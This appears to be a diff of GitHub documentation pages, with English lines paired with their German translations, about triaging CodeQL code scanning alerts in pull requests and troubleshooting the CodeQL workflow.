* Der neueste Commit für den Basis-Branch des Pull Requests wird derzeit analysiert, weshalb die Analyse noch nicht verfügbar ist.
Wait a few minutes and then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}.
Warte ein paar Minuten, bevor du eine Änderung per Push an den Pull Request überträgst, um {% data variables.product.prodname_code_scanning %} erneut auszulösen.
* An error occurred while analyzing the latest commit on the base branch and analysis for that commit isn't available.
* Während der Analyse des neuesten Commits für den Basis-Branch trat ein Fehler auf, weshalb die Analyse für diesen Commit nicht verfügbar ist.
Merge a trivial change into the base branch to trigger {% data variables.product.prodname_code_scanning %} on this latest commit, then push a change to the pull request to retrigger {% data variables.product.prodname_code_scanning %}.
Merge eine geringfügige Änderung in den Basis-Branch, um {% data variables.product.prodname_code_scanning %} für den neuesten Commit auszulösen. Übertrage anschließend per Push eine Änderung an den Pull Request, um {% data variables.product.prodname_code_scanning %} erneut auszulösen.
{% endif %}
## Next steps
## Nächste Schritte
After setting up {% data variables.product.prodname_code_scanning %}, and allowing its actions to complete, you can:
Nach dem Einrichten von {% data variables.product.prodname_code_scanning %} und dem Abschluss der Aktionen kannst du Folgendes tun:
- View all of the {% data variables.product.prodname_code_scanning %} alerts generated for this repository. For more information, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
- View any alerts generated for a pull request submitted after you set up {% data variables.product.prodname_code_scanning %}. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
- Set up notifications for completed runs. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options)."
- View the logs generated by the {% data variables.product.prodname_code_scanning %} analysis. For more information, see "[Viewing {% data variables.product.prodname_code_scanning %} logs](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs)."
- Investigate any problems that occur with the initial setup of {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. For more information, see "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
- Customize how {% data variables.product.prodname_code_scanning %} scans the code in your repository. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)."
- Anzeigen aller für dieses Repository generierten {% data variables.product.prodname_code_scanning %}-Warnungen. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_code_scanning %}-Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository).
- Anzeigen von Warnungen, die für einen Pull Request generiert wurden, der nach dem Einrichten von {% data variables.product.prodname_code_scanning %} übermittelt wurde. Weitere Informationen findest du unter [Selektieren von {% data variables.product.prodname_code_scanning %}-Warnungen in Pull Requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests).
- Einrichten von Benachrichtigungen für abgeschlossene Ausführungen. Weitere Informationen findest du unter [Konfigurieren von Benachrichtigungen](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#github-actions-notification-options).
- Anzeigen der Protokolle, die bei der {% data variables.product.prodname_code_scanning %}-Analyse generiert wurden. Weitere Informationen findest du unter [Anzeigen von {% data variables.product.prodname_code_scanning %}-Protokollen](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs).
- Untersuchen von Problemen, die bei der Ersteinrichtung von {% data variables.product.prodname_code_scanning %} mit {% data variables.product.prodname_codeql %} auftreten können. Weitere Informationen findest du unter [Problembehandlung für den {% data variables.product.prodname_codeql %}-Workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow).
- Passe an, wie die {% data variables.product.prodname_code_scanning %} den Code in deinem Repository überprüft. Weitere Informationen findest du unter [Konfigurieren von {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning).

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Triaging code scanning alerts in pull requests
title: Filtern von Codescanbenachrichtigungen in Pull-Anforderungen
shortTitle: Triage alerts in pull requests
intro: 'When {% data variables.product.prodname_code_scanning %} identifies a problem in a pull request, you can review the highlighted code and resolve the alert.'
intro: 'Wenn {% data variables.product.prodname_code_scanning %} ein Problem in einem Pull Request erkennt, kannst du den hervorgehobenen Code überprüfen und die Warnung beheben.'
product: '{% data reusables.gated-features.code-scanning %}'
permissions: 'If you have read permission for a repository, you can see annotations on pull requests. With write permission, you can see detailed information and resolve {% data variables.product.prodname_code_scanning %} alerts for that repository.'
redirect_from:
@ -20,105 +20,95 @@ topics:
- Pull requests
- Alerts
- Repositories
ms.openlocfilehash: f73b0ef30b4512bc951fdbae4ae2f3c300e4c534
ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148162742'
---
{% data reusables.code-scanning.beta %}
## About {% data variables.product.prodname_code_scanning %} results on pull requests
## Informationen zu {% data variables.product.prodname_code_scanning %} Ergebnissen für Pull-Anforderungen
In repositories where {% data variables.product.prodname_code_scanning %} is configured as a pull request check, {% data variables.product.prodname_code_scanning %} checks the code in the pull request. By default, this is limited to pull requests that target the default branch, but you can change this configuration within {% data variables.product.prodname_actions %} or in a third-party CI/CD system. If merging the changes would introduce new {% data variables.product.prodname_code_scanning %} alerts to the target branch, the alerts are reported in multiple places.
In Repositorys, in denen {% data variables.product.prodname_code_scanning %} als Pull-Anforderungsprüfung konfiguriert ist, prüft {% data variables.product.prodname_code_scanning %} den Code in der Pull-Anforderung. Standardmäßig ist dies auf Pull-Anforderungen beschränkt, die auf den Standardzweig abzielen, aber du kannst diese Konfiguration in {% data variables.product.prodname_actions %} oder in einem CI/CD-System eines Drittanbieters ändern. Wenn das Zusammenführen der Änderungen neue {% data variables.product.prodname_code_scanning %}-Warnungen im Zielbranch verursacht, werden diese Warnungen an mehreren Stellen gemeldet.
- Check results in the pull request {% ifversion code-scanning-pr-conversations-tab %}
- The **Conversation** tab of the pull request, as part of a pull request review {% endif %}
- The **Files changed** tab of the pull request
- Ergebnisse im Pull Request überprüfen {% ifversion code-scanning-pr-conversations-tab %}
- Die Registerkarte **Unterhaltung** des Pull Requests als Teil einer Pull Request-Überprüfung {% endif %}
- Die Registerkarte **Geänderte Dateien** des Pull Requests
If you have write permission for the repository, you can see any existing {% data variables.product.prodname_code_scanning %} alerts on the **Security** tab. For information about repository alerts, see "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)."
Wenn du Schreibberechtigung für das Repository hast, kannst du alle vorhandenen {% data variables.product.prodname_code_scanning %} Warnungen auf der Registerkarte **Sicherheit** anzeigen. Informationen zu Repository-Warnungen findest du unter „[Verwalten von {% data variables.product.prodname_code_scanning %} Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository).“
In repositories where {% data variables.product.prodname_code_scanning %} is configured to scan each time code is pushed, {% data variables.product.prodname_code_scanning %} will also map the results to any open pull requests and add the alerts as annotations in the same places as other pull request checks. For more information, see "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)."
In Repositorys, in denen die {% data variables.product.prodname_code_scanning %} so konfiguriert ist, dass bei jedem Codepush eine Überprüfung durchgeführt wird, ordnet die {% data variables.product.prodname_code_scanning %} die Ergebnisse auch allen offenen Pull Requests zu und fügt die Warnungen als Anmerkungen an denselben Stellen wie andere Pull Request-Überprüfungen ein. Weitere Informationen findest du unter [Überprüfen bei Push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push).
If your pull request targets a protected branch that uses {% data variables.product.prodname_code_scanning %}, and the repository owner has configured required status checks, then the "{% data variables.product.prodname_code_scanning_capc %} results" check must pass before you can merge the pull request. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)."
Wenn deine Pull-Anforderung auf eine geschützte Verzweigung ausgerichtet ist, die {% data variables.product.prodname_code_scanning %}verwendet, und der Repositorybesitzer hat erforderliche Statusüberprüfungen konfiguriert, muss die Überprüfung "{% data variables.product.prodname_code_scanning_capc %} Ergebnisse" übergeben werden, bevor du die Pull-Anforderung zusammenführen kannst. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging).
## About {% data variables.product.prodname_code_scanning %} as a pull request check
## Informationen zu {% data variables.product.prodname_code_scanning %} als Pull-Anforderungsprüfung
There are many options for configuring {% data variables.product.prodname_code_scanning %} as a pull request check, so the exact setup of each repository will vary and some will have more than one check.
Es gibt viele Optionen zum Konfigurieren von {% data variables.product.prodname_code_scanning %} als Pull-Anforderungsprüfung, sodass die genaue Einrichtung jedes Repositorys variieren wird und einige mehr als eine Überprüfung haben.
### {% data variables.product.prodname_code_scanning_capc %} results check
### {% data variables.product.prodname_code_scanning_capc %} Ergebnisüberprüfung
For all configurations of {% data variables.product.prodname_code_scanning %}, the check that contains the results of {% data variables.product.prodname_code_scanning %} is: **{% data variables.product.prodname_code_scanning_capc %} results**. The results for each analysis tool used are shown separately. Any new alerts caused by changes in the pull request are shown as annotations.
Für alle Konfigurationen von {% data variables.product.prodname_code_scanning %} lautet die Prüfung, die die Ergebnisse von {% data variables.product.prodname_code_scanning %} enthält: **{% data variables.product.prodname_code_scanning_capc %} Ergebnisse**. Die Ergebnisse für jedes verwendete Analysetool werden separat angezeigt. Alle neuen Warnungen, die durch Änderungen in der Pull-Anforderung verursacht werden, werden als Anmerkungen angezeigt.
To see the full set of alerts for the analyzed branch, click **View all branch alerts**. This opens the full alert view where you can filter all the alerts on the branch by type, severity, tag, etc. For more information, see "[Managing code scanning alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts)."
Klicke auf **Alle Branchwarnungen anzeigen**, um alle Warnungen für den analysierten Branch anzuzeigen. Dadurch wird die vollständige Warnungsansicht geöffnet, in der du alle Warnungen auf der Verzweigung nach Typ, Schweregrad, Tag usw. filtern kannst. Weitere Informationen findest unter „[Verwalten von Codescanbenachrichtigungen für dein Repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#filtering-and-searching-for-code-scanning-alerts).
![{% data variables.product.prodname_code_scanning_capc %} results check on a pull request](/assets/images/help/repository/code-scanning-results-check.png)
![Überprüfen der Ergebnisse einer {% data variables.product.prodname_code_scanning_capc %} für einen Pull Request](/assets/images/help/repository/code-scanning-results-check.png)
### {% data variables.product.prodname_code_scanning_capc %} results check failures
### {% data variables.product.prodname_code_scanning_capc %} Ergebnisüberprüfung Ausfälle
If the {% data variables.product.prodname_code_scanning %} results check finds any problems with a severity of `error`, `critical`, or `high`, the check fails and the error is reported in the check results. If all the results found by {% data variables.product.prodname_code_scanning %} have lower severities, the alerts are treated as warnings or notes and the check succeeds.
Wenn die {% data variables.product.prodname_code_scanning %}-Ergebnisprüfung Probleme mit einem Schweregrad von `error`, `critical` oder `high` ermittelt, schlägt die Prüfung fehl, und der Fehler wird in den Überprüfungsergebnissen gemeldet. Wenn alle von {% data variables.product.prodname_code_scanning %} gefundenen Ergebnisse einen niedrigeren Schweregrad aufweisen, werden die Benachrichtigungen als Warnungen oder Hinweise behandelt und die Prüfung ist erfolgreich.
![Failed {% data variables.product.prodname_code_scanning %} check on a pull request](/assets/images/help/repository/code-scanning-check-failure.png)
![Fehlgeschlagene {% data variables.product.prodname_code_scanning %} Prüfung einer Pull-Anforderung](/assets/images/help/repository/code-scanning-check-failure.png)
You can override the default behavior in your repository settings, by specifying the level of severities and security severities that will cause a pull request check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)".
Du kannst das Standardverhalten in deinen Repositoryeinstellungen außer Kraft setzen, indem du die Schweregrade sowie Sicherheitsgrade festlegst, die zu einem Fehler bei der Pull Request-Überprüfung führen. Weitere Informationen findest du unter „[Definieren der Schweregrade, die einen Fehler bei der Überprüfung von Pull-Anforderungen verursachen](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure).
### Other {% data variables.product.prodname_code_scanning %} checks
### Andere {% data variables.product.prodname_code_scanning %} Prüfungen
Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis.
Abhängig von deiner Konfiguration kann es sein, dass bei Pull-Anforderungen mit {% data variables.product.prodname_code_scanning %} zusätzliche Prüfungen laufen. Dies sind in der Regel Workflows, die den Code analysieren oder {% data variables.product.prodname_code_scanning %}-Ergebnisse hochladen. Diese Überprüfungen sind nützlich für die Problembehandlung, wenn Probleme mit der Analyse auftreten.
For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java).
Wenn das Repository beispielsweise den {% data variables.code-scanning.codeql_workflow %} verwendet, wird eine Überprüfung **{% data variables.product.prodname_codeql %} / Analyze (SPRACHE)** für jede Sprache ausgeführt, bevor die Ergebnisüberprüfung durchgeführt wird. Die Analyseprüfung kann fehlschlagen, wenn es Probleme mit der Konfiguration gibt oder wenn die Pull-Anforderung den Build für eine Sprache unterbricht, die für die Analyse kompiliert werden muss (zum Beispiel C/C++, C# oder Java).
As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)."
Wie bei anderen Pull-Anforderungsprüfungen kannst du auf der Registerkarte **Prüfungen** alle Details zum Fehler der Prüfung einsehen. Weitere Informationen zum Konfigurieren und zur Fehlerbehebung findest du unter „[Konfigurieren von {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)“ oder „[ Fehlerbehebung für den {% data variables.product.prodname_codeql %} Workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow).“
## Viewing an alert on your pull request
## Anzeigen einer Warnung auf deiner Pull-Anforderung
{% ifversion code-scanning-pr-conversations-tab %} Du kannst alle {% data variables.product.prodname_code_scanning %}-Warnungen anzeigen, die in einem Pull Request eingeführt wurden, indem du die Registerkarte **Unterhaltung** aufrufst. {% data variables.product.prodname_code_scanning_capc %} postet eine Pull Request-Überprüfung, die jede Warnung in den Codezeilen, die diese ausgelöst haben, als Anmerkung anzeigt. Du kannst die Warnungen kommentieren, diese löschen und auch Pfade für die Warnungen direkt über die Anmerkungen anzeigen. Du kannst die vollständigen Details einer Warnung anzeigen, indem du auf den Link „Weitere Details anzeigen“ klickst, über den du zur Detailseite der Warnung gelangst.
![Warnungsanmerkung auf der Registerkarte „Unterhaltung“ eines Pull Requests](/assets/images/help/repository/code-scanning-pr-conversation-tab.png)
Du kannst auch alle {% data variables.product.prodname_code_scanning %}-Warnungen auf der Registerkarte **Geänderte Dateien** des Pull Requests anzeigen. Vorhandene {% data variables.product.prodname_code_scanning %}-Warnungen zu einer Datei, die sich außerhalb des Diff der im Pull Request eingeführten Änderungen befinden, werden nur auf der Registerkarte **Geänderte Dateien** angezeigt.
{% else %} Du kannst alle {% data variables.product.prodname_code_scanning %}-Warnungen anzeigen, die in einem Pull Request eingeführt wurden, indem du die Registerkarte **Geänderte Dateien** anzeigst. Jede Warnung wird als Anmerkung in den Codezeilen angezeigt, die die Warnung ausgelöst haben. Der Schweregrad der Warnung wird in der Anmerkung angezeigt.
![Warnungsanmerkung innerhalb eines Pull-Request-Diffs](/assets/images/help/repository/code-scanning-pr-annotation.png) {% endif %}
Wenn du über Schreibberechtigungen für das Repository verfügst, enthalten einige Anmerkungen Links mit zusätzlichem Kontext für die Warnung. Im obigen Beispiel aus der {% data variables.product.prodname_codeql %} Analyse kannst du auf den vom **Benutzer bereitgestellten Wert** klicken, um zu sehen, wo die nicht vertrauenswürdigen Daten in den Datenfluss gelangen (dies wird als Quelle bezeichnet). In diesem Fall kannst du auch den vollständigen Pfad von der Quelle zu dem Code anzeigen, der die Daten (die Senke) verwendet, indem du auf **Pfade anzeigen** klickst. So lässt sich leicht überprüfen, ob die Daten nicht vertrauenswürdig sind oder ob die Analyse einen Datenbereinigungsschritt zwischen der Quelle und der Senke nicht erkannt hat. Informationen zum Analysieren des Datenflusses mithilfe von {% data variables.product.prodname_codeql %} findest du unter „[Informationen zur Datenflussanalyse](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/).“
Um weitere Informationen zu einer Warnung anzuzeigen, können Benutzer mit Schreibberechtigung auf den Link **Weitere Details anzeigen** klicken, der in der Anmerkung angezeigt wird. Auf diese Weise kannst du alle Kontext- und Metadaten anzeigen, die vom Tool in einer Warnungsansicht bereitgestellt werden. Im folgenden Beispiel kannst du Tags sehen, die den Schweregrad, den Typ und die relevanten allgemeinen Schwächeaufzählungen (CWEs) für das Problem anzeigen. Die Ansicht zeigt auch, welche Commit das Problem eingeführt hat.
{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} {% data reusables.code-scanning.alert-default-branch %} {% endif %}
In der Detailansicht einer Warnung enthalten einige {% data variables.product.prodname_code_scanning %} Tools, wie z.B. {% data variables.product.prodname_codeql %}-Analyse, auch eine Beschreibung des Problems und einen Link **Mehr anzeigen**, der Dir zeigt, wie du deinen Code beheben kannst.
{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} ![ Warnungsbeschreibung und Link zum Anzeigen weiterer Informationen](/assets/images/help/repository/code-scanning-pr-alert.png) {% else %} ![Warnungsbeschreibung und Link zum Anzeigen weiterer Informationen](/assets/images/enterprise/3.4/repository/code-scanning-pr-alert.png) {% endif %}
{% ifversion code-scanning-pr-conversations-tab %}
You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by viewing the **Conversation** tab. {% data variables.product.prodname_code_scanning_capc %} posts a pull request review that shows each alert as an annotation on the lines of code that triggered the alert. You can comment on the alerts, dismiss the alerts, and view paths for the alerts, directly from the annotations. You can view the full details of an alert by clicking the "Show more details" link, which will take you to the alert details page.
## Kommentieren einer Warnung in einem Pull Request
![Alert annotation within a pull request Conversations tab](/assets/images/help/repository/code-scanning-pr-conversation-tab.png)
Du kannst alle von den Änderungen in einem Pull Request eingeführten {% data variables.product.prodname_code_scanning %}-Warnungen kommentieren. Warnungen werden als Anmerkungen auf der Registerkarte **Unterhaltung** eines Pull Requests als Teil einer Pull Request-Überprüfung und auch auf der Registerkarte **Geänderte Dateien** angezeigt. Du kannst nur Warnungen kommentieren, die von den Änderungen in einem Pull Request eingeführt wurden. Vorhandene {% data variables.product.prodname_code_scanning %}-Warnungen zu einer Datei, die sich außerhalb der im Pull Request eingeführten Änderungen befinden, werden zwar auf der Registerkarte **Geänderte Dateien** angezeigt, können aber nicht kommentiert werden.
You can also view all {% data variables.product.prodname_code_scanning %} alerts in the **Files changed** tab of the pull request. Existing {% data variables.product.prodname_code_scanning %} alerts on a file that are outside the diff of the changes introduced in the pull request will only appear in the **Files changed** tab.
{% else %}
You can see any {% data variables.product.prodname_code_scanning %} alerts introduced in a pull request by displaying the **Files changed** tab. Each alert is shown as an annotation on the lines of code that triggered the alert. The severity of the alert is displayed in the annotation.
![Alert annotation within a pull request diff](/assets/images/help/repository/code-scanning-pr-annotation.png)
Du kannst auswählen, dass alle Unterhaltungen in einem Pull Request erforderlich sind, einschließlich derer zu {% data variables.product.prodname_code_scanning %}-Warnungen, die aufgelöst werden sollen, bevor ein Pull Request zusammengeführt werden kann. Weitere Informationen findest du unter [Informationen zu geschützten Branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging).
{% endif %}
## Beheben einer Warnung auf deiner Pull-Anforderung
If you have write permission for the repository, some annotations contain links with extra context for the alert. In the example above, from {% data variables.product.prodname_codeql %} analysis, you can click **user-provided value** to see where the untrusted data enters the data flow (this is referred to as the source). In this case you can also view the full path from the source to the code that uses the data (the sink) by clicking **Show paths**. This makes it easy to check whether the data is untrusted or if the analysis failed to recognize a data sanitization step between the source and the sink. For information about analyzing data flow using {% data variables.product.prodname_codeql %}, see "[About data flow analysis](https://codeql.github.com/docs/writing-codeql-queries/about-data-flow-analysis/)."
Jeder, der Push-Zugriff auf eine Pull-Anforderung hat, kann eine {% data variables.product.prodname_code_scanning %} Warnung beheben, die in dieser Pull-Anforderung enthalten ist. Wenn du Änderungen an der Pull-Anforderung vornimmst, löst dies einen neuen Durchlauf der Pull-Anforderungsprüfung aus. Wenn deine Änderungen das Problem beheben, wird die Meldung geschlossen und der Vermerk entfernt.
To see more information about an alert, users with write permission can click the **Show more details** link shown in the annotation. This allows you to see all of the context and metadata provided by the tool in an alert view. In the example below, you can see tags showing the severity, type, and relevant common weakness enumerations (CWEs) for the problem. The view also shows which commit introduced the problem.
## Verwerfen einer Warnung auf deiner Pull-Anforderung
{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
{% data reusables.code-scanning.alert-default-branch %}
{% endif %}
In the detailed view for an alert, some {% data variables.product.prodname_code_scanning %} tools, like {% data variables.product.prodname_codeql %} analysis, also include a description of the problem and a **Show more** link for guidance on how to fix your code.
{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
![Alert description and link to show more information](/assets/images/help/repository/code-scanning-pr-alert.png)
{% else %}
![Alert description and link to show more information](/assets/images/enterprise/3.4/repository/code-scanning-pr-alert.png)
{% endif %}
{% ifversion code-scanning-pr-conversations-tab %}
## Commenting on an alert in a pull request
You can comment on any {% data variables.product.prodname_code_scanning %} alert introduced by the changes in a pull request. Alerts appear as annotations in the **Conversation** tab of a pull request, as part of a pull request review, and also are shown in the **Files changed** tab. You can only comment on alerts introduced by the changes in a pull request. Existing {% data variables.product.prodname_code_scanning %} alerts, on files that are outside the changes introduced in the pull request, will appear in the **Files changed** tab but cannot be commented on.
You can choose to require all conversations in a pull request, including those on {% data variables.product.prodname_code_scanning %} alerts, to be resolved before a pull request can be merged. For more information, see "[About protected branches](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-conversation-resolution-before-merging)."
{% endif %}
## Fixing an alert on your pull request
Anyone with push access to a pull request can fix a {% data variables.product.prodname_code_scanning %} alert that's identified on that pull request. If you commit changes to the pull request this triggers a new run of the pull request checks. If your changes fix the problem, the alert is closed and the annotation removed.
## Dismissing an alert on your pull request
An alternative way of closing an alert is to dismiss it. You can dismiss an alert if you don't think it needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} If you have write permission for the repository, the **Dismiss** button is available in code annotations and in the alerts summary. When you click **Dismiss** you will be prompted to choose a reason for closing the alert.
{% ifversion comment-dismissed-code-scanning-alert %}
![Screenshot of code scanning alert with dropdown to choose dismissal reason emphasized](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png)
{% else %}
![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
{% endif %}
{% data reusables.code-scanning.choose-alert-dismissal-reason %}
Eine andere Möglichkeit, eine Meldung zu schließen, ist, sie zu verwerfen. Du kannst eine Meldung verwerfen, wenn du der Meinung bist, dass sie nicht behoben werden muss. {% data reusables.code-scanning.close-alert-examples %} Wenn du eine Schreibberechtigung für das Repository hast, ist die Schaltfläche **Verwerfen** in den Code-Anmerkungen und in der Zusammenfassung der Alarme verfügbar. Wenn du auf **Verwerfen** klickst, wirst du aufgefordert, einen Grund zum Verwerfen der Warnung auszuwählen.
{% ifversion comment-dismissed-code-scanning-alert %} ![Screenshot der Codeüberprüfungswarnung mit Dropdownmenü zum Auswählen eines Löschgrunds](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png) {% else %} ![Auswählen, warum eine Warnung gelöscht wird](/assets/images/help/repository/code-scanning-alert-close-drop-down.png) {% endif %} {% data reusables.code-scanning.choose-alert-dismissal-reason %}
{% data reusables.code-scanning.false-positive-fix-codeql %}
For more information about dismissing alerts, see {% ifversion delete-code-scanning-alerts %}"[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts)."{% else %} "[Managing {% data variables.product.prodname_code_scanning %} alerts for your repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#dismissing--alerts)."{% endif %}
Weitere Informationen zum Verwerfen von Warnungen findest du unter {% ifversion delete-code-scanning-alerts %}[Verwalten von {% data variables.product.prodname_code_scanning %} Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#dismissing-or-deleting-alerts).{% else %} [Verwalten von {% data variables.product.prodname_code_scanning %} Warnungen für dein Repository](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository#dismissing--alerts).{% endif %}

Просмотреть файл

@ -1,7 +1,7 @@
---
title: Troubleshooting the CodeQL workflow
title: Problembehandlung beim CodeQL-Workflow
shortTitle: Troubleshoot CodeQL workflow
intro: 'If you''re having problems with {% data variables.product.prodname_code_scanning %}, you can troubleshoot by using these tips for resolving issues.'
intro: 'Wenn du Probleme mit der {% data variables.product.prodname_code_scanning %} hast, kannst du sie mit diesen Tipps beheben.'
product: '{% data reusables.gated-features.code-scanning %}'
miniTocMaxHeadingLevel: 3
redirect_from:
@ -26,50 +26,51 @@ topics:
- C/C++
- C#
- Java
ms.openlocfilehash: 4cbf57959776fee375eef2ea08778bf4c66b6324
ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
ms.translationtype: HT
ms.contentlocale: de-DE
ms.lasthandoff: 11/11/2022
ms.locfileid: '148161191'
---
{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %}
{% ifversion ghes or ghae %} {% note %}
{% data reusables.code-scanning.beta %}
{% data reusables.code-scanning.not-available %}
**Hinweis:** In diesem Artikel werden die Features beschrieben, die mit der Version der CodeQL-Aktion und dem zugehörigen CodeQL-CLI-Bundle im ursprünglichen Release dieser Version von {% data variables.product.product_name %} verfügbar sind. Wenn dein Unternehmen eine neuere Version der CodeQL-Aktion verwendet, findest du Informationen zu den neuesten Features unter [{% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow). {% ifversion not ghae %} Informationen zur Verwendung der neuesten Version findest du unter [Konfigurieren der Codeüberprüfung für deine Appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access).{% endif %}
{% ifversion ghes or ghae %}
{% note %}
{% endnote %} {% endif %}
**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow) for information on the latest features. {% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %}
## Erstellen von detaillierten Protokollen für das Debuggen
{% endnote %}
{% endif %}
## Producing detailed logs for debugging
To produce more detailed logging output, you can enable step debug logging. For more information, see "[Enabling debug logging](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging)."
Um eine detailliertere Protokollierungsausgabe zu generieren, kannst du die Schrittdebugprotokollierung aktivieren. Weitere Informationen findest du unter [Aktivieren der Debugprotokollierung](/actions/managing-workflow-runs/enabling-debug-logging#enabling-step-debug-logging).
{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
## Creating {% data variables.product.prodname_codeql %} debugging artifacts
## Erstellen von {% data variables.product.prodname_codeql %}-Debugartefakten
You can obtain artifacts to help you debug {% data variables.product.prodname_codeql %}.
The debug artifacts will be uploaded to the workflow run as an artifact named `debug-artifacts`. The data contains the {% data variables.product.prodname_codeql %} logs, {% data variables.product.prodname_codeql %} database(s), and any SARIF file(s) produced by the workflow.
Du kannst Artefakte abrufen, um {% data variables.product.prodname_codeql %} zu debuggen.
Die Debugartefakte werden in den Workflow hochgeladen und als Artefakt namens `debug-artifacts` ausgeführt. Die Daten enthalten die {% data variables.product.prodname_codeql %}-Protokolle, {% data variables.product.prodname_codeql %}-Datenbanken und alle SARIF-Dateien, die vom Workflow erstellt wurden.
These artifacts will help you debug problems with {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. If you contact GitHub support, they might ask for this data.
Diese Artefakte helfen beim Debuggen von Problemen mit {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}. Wenn du den GitHub-Support kontaktierst, kannst du diese Daten anfordern.
{% endif %}
{% ifversion codeql-action-debug-logging %}
### Creating {% data variables.product.prodname_codeql %} debugging artifacts by re-running jobs with debug logging enabled
